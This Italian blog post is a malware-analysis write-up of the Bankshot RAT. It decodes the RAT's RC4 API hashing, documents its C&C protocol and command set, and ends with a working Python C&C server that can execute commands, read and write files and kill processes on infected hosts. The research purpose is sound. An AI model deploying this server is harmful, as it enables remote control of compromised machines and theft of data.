Realizziamo un HTTP C&C in Python (Bankshot)
Introduzione
Ciao a tutti! Oggi vedremo l’analisi di Bankshot (conosciuto anche come CopperHedge); Bankshot è un RAT semplice che implementa 15 comandi, scritto in C++ e utilizza RC4 per effettuare parzialmente API Hashing e per cifrare/decifrare la comunicazione il C&C; il config è presente in chiaro.
Bankshot is a remote access tool (RAT) that was first reported by the Department of Homeland Security in December of 2017. In 2018, Lazarus Group used the Bankshot implant in attacks against the Turkish financial sector.
Per maggiori dettagli si può visionare il report del CISA dove sono presenti le 6 varianti e la collection di Virustotal. Altri riferimenti utili: IOC di ESET e correlazione tra i sample di Reversing Lab.
In particolare oggi analizzeremo un sample della Variante B, MD5: 667cf9e8ec1dac7812f92bd77af702a1 che può essere ottenuto qui o qui. Partiamo!
Introduzione
Come sempre utilizziamo alcuni tool per velocizzare le successive analisi:
Questa volta, a differenza di Danabot, è molto più semplice ottenere il config in quanto i tre server C&C sono presenti in chiaro:
Con queste informazioni aggiuntive proseguiamo con l’analisi; il malware avvia immediatamente un Thread:
Il Thread inizia risolvendo le diverse API dinamicamente. In particolare, l’algoritmo utilizzato per l’API Hashing è RC4. All’inizio di ogni funzione che vedremo successivamente avremo la risoluzione dell’API attraverso questa funzione.
Continuiamo effettuando la decifratura delle API con un semplice script Python utilizzando le API Ghidra; il funzionamento è il seguente:
- Si ottengono tutte le chiamate alla funzione che si occupa di effettuare API Hashing (in questo caso è rinominata in ApiHashingViaRC4) tramite getReferencesTo().
- Ottengo le istruzioni precedenti fino a trovare MOV EDX, indirizzoNomeFunzioneCifrata tramite getInstructionBefore().
- Il primo byte contenuto in questo indirizzo contiene la lunghezza della stringa cifrata e poi la stringa cifrata; con getBytes(addrEncrypted, 1)[0] ottengo il primo byte; ottengo quindi il byte array (nome funzione cifrata) partendo dall’indirizzo contenuto in EDX + 1 (addrEncrypted.add(1)) essendo che il primo byte contiene la lunghezza e da questo indirizzo leggo la lunghezza che ho ottenuto in precedenza.
- Effettuo la decifratura tramite RC4 della stringa cifrata ottenuta.
def rc4Decrypt(key, data):
S = list(range(256))
j = 0
for i in list(range(256)):
j = (j + S[i] + ord(key[i % len(key)])) % 256
S[i], S[j] = S[j], S[i]
j = 0
y = 0
out = []
for char in data:
j = (j + 1) % 256
y = (y + S[j]) % 256
S[j], S[y] = S[y], S[j]
out.append(unichr(ord(char) ^ S[(S[j] + S[y]) % 256]))
return ''.join(out)
def main():
key = '78292e4c5da3b5d067f081b736e5d593'.decode('hex')
for ref in getReferencesTo(toAddr("ApiHashingViaRC4")):
fromAddr = ref.getFromAddress()
while True:
instr = getInstructionBefore(fromAddr)
if instr.getMnemonicString().lower() == 'mov' and instr.getOpObjects(0)[0].toString().lower() == 'edx':
addrEncrypted = toAddr(instr.getOpObjects(1)[0].getValue())
print("Indirizzo API cifrata: " + str(addrEncrypted))
encryptedName = str(bytearray(getBytes(addrEncrypted.add(1), getBytes(addrEncrypted, 1)[0])))
print("0x" + str(instr.getAddress()) + " " + rc4Decrypt(key, encryptedName))
break
fromAddr = instr.getAddress()
if __name__ == '__main__':
main()
Curioso come non tutte le API sono offuscate, ad esempio quelle riguardanti la comunicazione HTTP:
Dopo aver effettuato la risoluzione delle API, avviene la creazione del CONFIG che viene salvato in una variabile globale; in questo config vengono salvati i 3 URL insieme a un valore casuale compreso tra 65535 e 16777215:
Successivamente vengono chiamate le diverse funzioni che si occupano di comunicare con il C&C; vediamo ora come è possibile sfruttare le informazioni presenti su any.run per velocizzare l’analisi successiva.
Analisi Dinamica
Su any.run sono presenti diversi sample che ci permettono di avere una prima Overview di come avviene la comunicazione con il server C&C:
Le risposte a questa richiesta sono tutte dei redirect essendo il C&C offline in quel determinato momento; cercando altri sample però abbiamo una richiesta che questa volta fornisce una risposta e ci fornisce nuovi dettagli sul protocollo challenge-response, possiamo vedere infatti che il C&C risponde solo con il board_id (in questo caso 1838):
Da queste diversi sample possiamo iniziare ed effettuare delle supposizioni su come funziona il protocollo di comunicazione, che verranno poi approfondite con le successive analisi:
- board_id: numero differente tra le diverse richieste, potrebbe essere l’ID della richiesta
- user_id: conviso tra le varie richieste, potrebbe essere un valore di autenticazione
- file1: nome di file differente tra le diverse richieste, che non corrisponde a un file presente sulla macchina any.run; potrebbe essere utilizzato per cambiare la signature di ogni richiesta
Continuiamo ora con l’analisi per confermare/smentire le prime supposizioni. Essendo un malware scritto in C++, approfondiamo ora la classe WebPacket che si occupa di comunicare con il C&C.
Classe WebPacket
Il malware presenta una classe di nome WebPacket che si occupa di inizializzare l’oggetto (dimensione 3872 byte) con diversi attributi riguardi la comunicazione e dispone di diverse funzioni che si occupano di comunicare con il C&C.
Come possiamo vedere dal costruttore, i primi 4 byte contengono il puntatore alla vftable e dopo abbiamo la zona di memoria che contiene i membri dell’oggetto. Per ulteriori info su come effettuare reverse di programmi C++: QUI, QUI e QUI.
I membri principali presenti in questa classe sono:
HINTERNET hSession;
HINTERNET hInternet;
HINTERNET hRequest;
String URL;
String Path;
int port;
....
char substitutionBox1[256]
char substitutionBox2[256]
int keyLength;
int rc4Key[4];
La vtable invece contiene solo una funzione che viene chiamata al termine per effettuare il reset delle variabili e chiamare la funzione WinHttpCloseHandle:
Queste info vengono estratte da Ghidra da diverse strutture presenti nei programmi C++:
Dopo aver fatto una piccola degressione su C++, passiamo al funzionamento; questa classe si occupa di inviare il primo pacchetto di autenticazione, con board_id casuale (minore di 10000), user_id uguale a *dJU!JE&!M@UNQ@ e filename casuale scelto tra happy.pdf, star.avi, hp01.avi, dream.avi, example.dat, pratice.pdf, my.doc e img01_29.jpg.
Successivamente viene ricevuta la risposta e viene confrontato il valore casuale generato (board_id) con quello ricevuto; questo conferma la supposizione che avevamo fatto precedentemente tramite analisi dinamica.
Vediamo ora quali metodi esporta questa classe che permettono di effettuare delle operazioni C&C; per tracciare quali sono i metodi di questa classe sfruttiamo il registro ECX che contiene l’indirizzo a questa classe appena definita.
Da queste informazioni riusciamo ad ottenere i seguenti metodi:
- C&CSendRequest: invia la richiesta di tipo POST al C&C attraverso WinHttpSendRequest; esegue la funzione C&CConnectAndOpenRequest.
- C&CConnectAndOpenRequest: si occupa di chiamare le funzioni WinHttpOpen, WinHttpConnect, WinHttpOpenRequest.
- C&CReceiveAndDecryptDataRC4: si occupa di ottenere i dati con WinHttpReceiveResponse, WinHttpReadData e opzionalmente decifrarli con RC4.
- C&CEncryptCodeResult: effettua l’encryption tramite RC4 dello status code (0x1836, 0x1837, ecc) ed esegue WinHttpWriteData con input i dati cifrati.
- C&CEncryptCommandResult: effettua l’encryption tramite RC4 del risultato del comando eseguito ed esegue WinHttpWriteData con input i dati cifrati.
- C&CSendRequestAndExecuteCommand: si occupa di inviare il command packet, ricevere ulteriori dati, eseguire il comando e ritornare il risultato al C&C.
Per capire bene le successive analisi è necessario conoscere le WinHTTP API; per chi non conoscesse il flow può approfondirlo tramite degli esempi presenti qui o qui.
Cifratura RC4
L’algoritmo di cifratura RC4 viene utilizzato come visto in precedenza per l’API hashing ma anche per la comunicazione con il C&C. In particolare si hanno tre SBox che vengono utilizzate per la cifratura, una per l’API hashing e due per la comunicazione C&C (una per la ricezione dei dati e una per l’invio).
Essendo che la funzione PRGA utilizza l’SBox come input per generare il valore random successivo per poi effettuare la cifratura/decifratura, è necessario avere due dichiarazioni differenti quando realizzeremo il server C&C.
Un’altra differenza è che la funzione riguardante l’API Hashing è una funzione locale, mentre quelle riguardanti la comunicazione fanno parte della classe WebPacket e utilizzano le SBox e la chiave salvate all’interno di questa classe.
Funzione C&CSendRequest
La funzione C&CSendRequest dopo aver effettuato la risoluzione delle API si occupa:
- Chiamare la funzione C&CConnectAndOpenRequest.
- Costruire l’header della richiesta HTTP.
- Costruire il body della richiesta HTTP.
- Inviare la richiesta attraverso WinHttpSendRequest.
La richiesta POST ha questa forma:
POST /URI HTTP/1.1
Cache-Control: max-age=0
Connection: keep-alive
Accept: */*
Content-Type: multipart/form-data; boundary=----FormBoundaryCaratteri casuali
User-Agent: Ottenuto da ObtainUserAgentString o Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)
Content-Length: Lunghezza
Host: Dominio
------FormBoundaryCaratteri casuali
Content-Disposition: form-data; name="board_id"
Casuale
------FormBoundaryCaratteri casuali
Content-Disposition: form-data; name="user_id"
*dJU!*JE&!M@UNQ@ se autentication packet altrimenti vuoto se è command packet
------FormBoundaryCaratteri casuali
Content-Disposition: form-data; name="file1"; filename=Casuale tra happy.pdf, star.avi, hp01.avi, dream.avi, example.dat, pratice.pdf, my.doc e img01_29.jpg.
Content-Type: application/octet-stream
....
Il pacchetto di autenticazione viene differenziato da quello per la richiesta dei comandi attraverso il board_id, che è minore di 10000 se si tratta del primo caso, maggiore nel secondo; oltre a questo il secondo tipo di pacchetto non contiene user_id con la stringa *dJU!*JE&!M@UNQ@.
Al termine della costruzione del pacchetto HTTP viene inviato tentando l’invio tre volte con uno sleep di 300 millisecondi tra un invio e l’altro:
Funzione C&CConnectAndOpenRequest
Questa funzione viene chiamata immediatamente dalla funzione C&CSendRequest e si occupa di:
- Ottenere l’user agent corrente tramite ObtainUserAgentString
- Ottenere le configurazioni proxy correnti tramite WinHttpGetIEProxyConfigForCurrentUser
- Chiamare la funzione WinHttpOpen, WinHttpConnect, WinHttpOpenHttp.
Nella conversione dell’User Agent si utilizza due volte MultiByteToWideChar; questo avviene spesso con l’utilizzo di determinate API Windows, come si può vedere dall’esempio sotto, per ottenere prima la dimensione del buffer da ricevere (in questo caso UserAgent) per poi richiamare MultiByteToWideChar con il valore di size corretto.
Funzione C&CReceiveAndDecryptDataRC4
Dopo aver inviato la richiesta con C&CSendRequest questa funzione si occupa di:
- Ricevere i dati tramite WinHttpReceiveResponse e WinHttpReadData
- Decifrare i dati con RC4
È presente una flag come parametro che stabilisce se i dati devono essere decifrati:
Funzioni C&CEncryptCodeResult e C&CEncryptCommandResult
Queste due funzioni si occupano di effettuare la cifratura RC4 dei dati in input e aggiungerli alla richiesta HTTP tramite WinHttpWriteData:
- C&CEncryptedCodeResult: si occupa di cifrare il result code (0x1836, 0x1837, 0x1838, 0x1839) del comando eseguito.
- C&CEncryptCommandResult: si occupa di cifrare la risposta del comando eseguito.
Come si può evidenziare dal Call Graph, ci sono funzioni che ritornano solo il result code (es. KeepAlive, TerminateProcessByPID), altre che ritornano solo il risultato del comando (es. GetSystemInfo, GetDriverinfo) e altri comandi più complessi (es. WriteFile) che ritornano entrambi.
Funzione C&CSendRequestAndExecuteCommand
Infine dopo aver ricevuto la richiesta e averla decifrata, viene eseguita l’operazione in base al codice del comando specificato.
(OBBLIGATORIO) 4 BYTE numero comando |
(OBBLIGATORIO) 2 BYTE lunghezza parametro opzionale |
(OPZIONALE) 4 BYTE parametro opzionale |
Altri comandi invece richiedono l’invio di altri dati, ad esempio la funzione WriteFile o DownloadAndMapFile; per ulteriori info vedere lo script Python per la realizzazione del C&C.
Vengono ricevuti i primi 6 Byte e se gli ultimi 2 byte sono diversi da zero, si richiama la funzione per ricevere i dati restanti di dimensione variabile.
Abbiamo anche dei result code che vengono inviati come risultato di alcuni comandi:
- 0x1836: esecuzione avvenuta con successo (es. comando KeepAlive, processo creato con successo)
- 0x1837: errore nell’esecuzione del comando (es. file da leggere non esistente)
- 0x1838: invio metadati di un file/directory o scrittura avvenuta correttamente (es. prima risposta a WriteFile o ReadFile)
- 0x1839: termine esecuzione comando (es. ultima risposta a WriteFile)
Il RAT supporta 15 comandi:
NUMERO COMANDO | FUNZIONE |
0x1827 | GetSystemInfo |
0x1828 | GetDriverInfo |
0x1829 | SetConfig |
0x182A | GetConfig |
0x182B | KeepAlive |
0x182C | WriteFile |
0x182D | ReadFile |
0x182E | CreateProcessByName |
0x182F | ExecuteCMD |
0x1830 | GetMetadataFile |
0x1831 | GetProcessList |
0x1832 | TerminateProcessByPID |
0x1834 | Disconnect |
0x1835 | DeleteTempFile |
0x183C | DownloadAndMapFile |
Per implementare correttamente il server C&C è necessario capire anche quali funzioni rimangono in attesa di ricevere ulteriori dati per essere eseguite correttamente; questo può essere velocemente rilevato con la funzione Function Call Graph di Ghidra:
Implementazione Server C&C
Implementiamo ora un server HTTP, che risponde ad alcuni dei comandi ricevuti dal malware; si lascia come compito al lettore di implementare i restanti tre comandi e gli error code non gestiti 🙂
Importante ricordarsi che è necessario avere due cipher per la cifratura e decifratura dei dati; inoltre alcuni comandi non richiedono ulteriori interazioni con il C&C, mentre alti richiedono l’interazione con l’operatore che deve inserire ulteriori dati (es. nome del processo da creare).
#!/usr/bin/env python3
import sys, struct, cgi, Crypto.Cipher.ARC4, time, hexdump
from http.server import BaseHTTPRequestHandler, HTTPServer
# Dominio e porta dove il server deve essere in ascolto
DOMAIN = '0.0.0.0'
PORT = 80
class httpHandler(BaseHTTPRequestHandler):
key = bytes.fromhex('271a16ab6d7a900ef3fa677dce8ab268')
rc4Receive = Crypto.Cipher.ARC4.new(key)
rc4Send = Crypto.Cipher.ARC4.new(key)
lastCommand = None
def unpack10(x):
x1, x2, x3, x4 = struct.unpack('<HIHH', x)
return x1, x2, x3 | (x4 << 16)
def unpack16(x):
x1, x2, x3, x4, x5 = struct.unpack('<IHIIH', x)
return x1, x2, x3, x4 | (x5 << 16)
def sendCommand():
cmdOpt1 = 0
commandToExecute = input('[C&C - INTERACT] Enter the command to be sent: ')
global lastCommand
print("[C&C - SEND] Send command to execute")
cmdCode = struct.pack('<I', int(commandToExecute, 16))
lastCommand = None
# Comandi senza parametri opzionali
if commandToExecute == "0x182a" or commandToExecute == "0x182b" or commandToExecute == "0x1831" or commandToExecute == '0x1828' or commandToExecute == '0x1827' or commandToExecute == '0x1835':
lastCommand = cmdCode
cmdArg = b''
# Eseguire processo by process name
# Input: process name
# Output: error code
if commandToExecute == "0x182e":
lastCommand = 0x182e
cmdArg = input('[C&C - INTERACT] Enter process to create (e.g., calc.exe): ').encode()
# Terminare processo by PID
# Input: PID processo
# Output: error code
if commandToExecute == "0x1832":
cmdArg = input('[C&C - INTERACT] Enter PID to Kill (e.g., 3163): ').encode()
# Eseguire comando tramite cmd.exe e salva il risultato in temp
# Input: comando da eseguire nel cmd
# Output: risultato salvato in file temp
if commandToExecute == "0x182f":
lastCommand = 0x182f
cmdArg = input('[C&C - INTERACT] Enter command to execute (e.g., whoami): ').encode()
# Get file or directory metadata
# Input: nome file o directory
# Output: metadati
if commandToExecute == "0x1830":
lastCommand = 0x1830
cmdArg = input('[C&C - INTERACT] Enter file to get stats: ').encode()
# Read File
# Input: file to read
# Output: error code e file content
if commandToExecute == "0x182d":
lastCommand = 0x182d
cmdArg = input('[C&C - INTERACT] Enter file to read: ').encode()
# Write File
# Input: file da scrivere
# Output: risultato codice
if commandToExecute == "0x182c":
lastCommand = 0x182c
cmdArg = input('[C&C - INTERACT] Enter file to write: ').encode()
cmdOpt1 = struct.pack('<I', int(input('[C&C - INTERACT] Enter types of operation (> bytes of file, write): ')))
pass
# Set Config
if commandToExecute == "0x1829":
# TODO: implementare set config
pass
# Download e eseguire file
if commandToExecute == "0x183c":
# TODO: implementare download and execute file
pass
cmdLen = struct.pack('<H', len(cmdArg))
cmd = cmdCode + cmdLen + cmdArg
if cmdOpt1 != 0:
cmd = cmd + cmdOpt1
return cmd
def do_POST(self):
bType, bDict = cgi.parse_header(self.headers['Content-Type'])
bDict['boundary'] = bytes(bDict['boundary'], 'utf-8')
fields = cgi.parse_multipart(self.rfile, bDict)
# Authentication Packet (1 FASE)
if "user_id" in fields:
buffer = fields['board_id'][0].encode()
print('[C&C - RECEIVE] New Authentication Packet')
print("[C&C - SEND] Sending authentication response")
# Command Packet (2 FASE)
elif int(fields['board_id'][0]) > 10000:
print('[C&C - RECEIVE] Command Package')
cmd = self.__class__.sendCommand()
buffer = self.__class__.rc4Send.encrypt(cmd)
# Risultato Command Packet (3 FASE)
else:
print('[C&C - RECEIVE] CMD Execution Result')
cmdResponse = self.__class__.rc4Receive.decrypt(fields['file1'][0])
hexdump.hexdump(cmdResponse)
global lastCommand
if(lastCommand == 0x182d):
if(len(cmdResponse) == 10):
result, blank, size = self.__class__.unpack10(cmdResponse)
print("[C&C - RECEIVE] File size: " + str(size))
cmdCode = struct.pack('<I', 0x0000)
buffer = self.__class__.rc4Send.encrypt(cmdCode)
else:
lastCommand = None
cmdCode = struct.pack('<IH', 0x1838, 0x00)
buffer = self.__class__.rc4Send.encrypt(cmdCode)
elif(lastCommand == 0x182c):
if(len(cmdResponse) == 16):
lastCommand = None
result, blank, size, result2 = self.__class__.unpack16(cmdResponse)
print("[C&C - RECEIVE] File size: " + str(size))
toWrite = input('[C&C - INTERACT] Enter data to write: ').encode()
lenWrite = struct.pack('<I', len(toWrite))
cmdCode = lenWrite + lenWrite + toWrite
buffer = self.__class__.rc4Send.encrypt(cmdCode)
else:
cmd = self.__class__.sendCommand()
buffer = self.__class__.rc4Send.encrypt(cmd)
self.send_response(200)
if buffer != None:
self.setHeader(buffer)
self.wfile.write(buffer)
def setHeader(self, header = None):
self.send_header('Amazon', 'text/html')
self.send_header('Content-type', 'text/html')
self.send_header('Content-Length', header.__len__())
self.end_headers()
def main():
httpServer = HTTPServer((DOMAIN, PORT), httpHandler)
print('[C&C - INFO] HTTP SERVER STARTED')
try:
httpServer.serve_forever()
except Exception:
print('[C&C - INFO] Error! Server Closed')
if __name__ == '__main__':
main()
Share this content:
Lascia un commento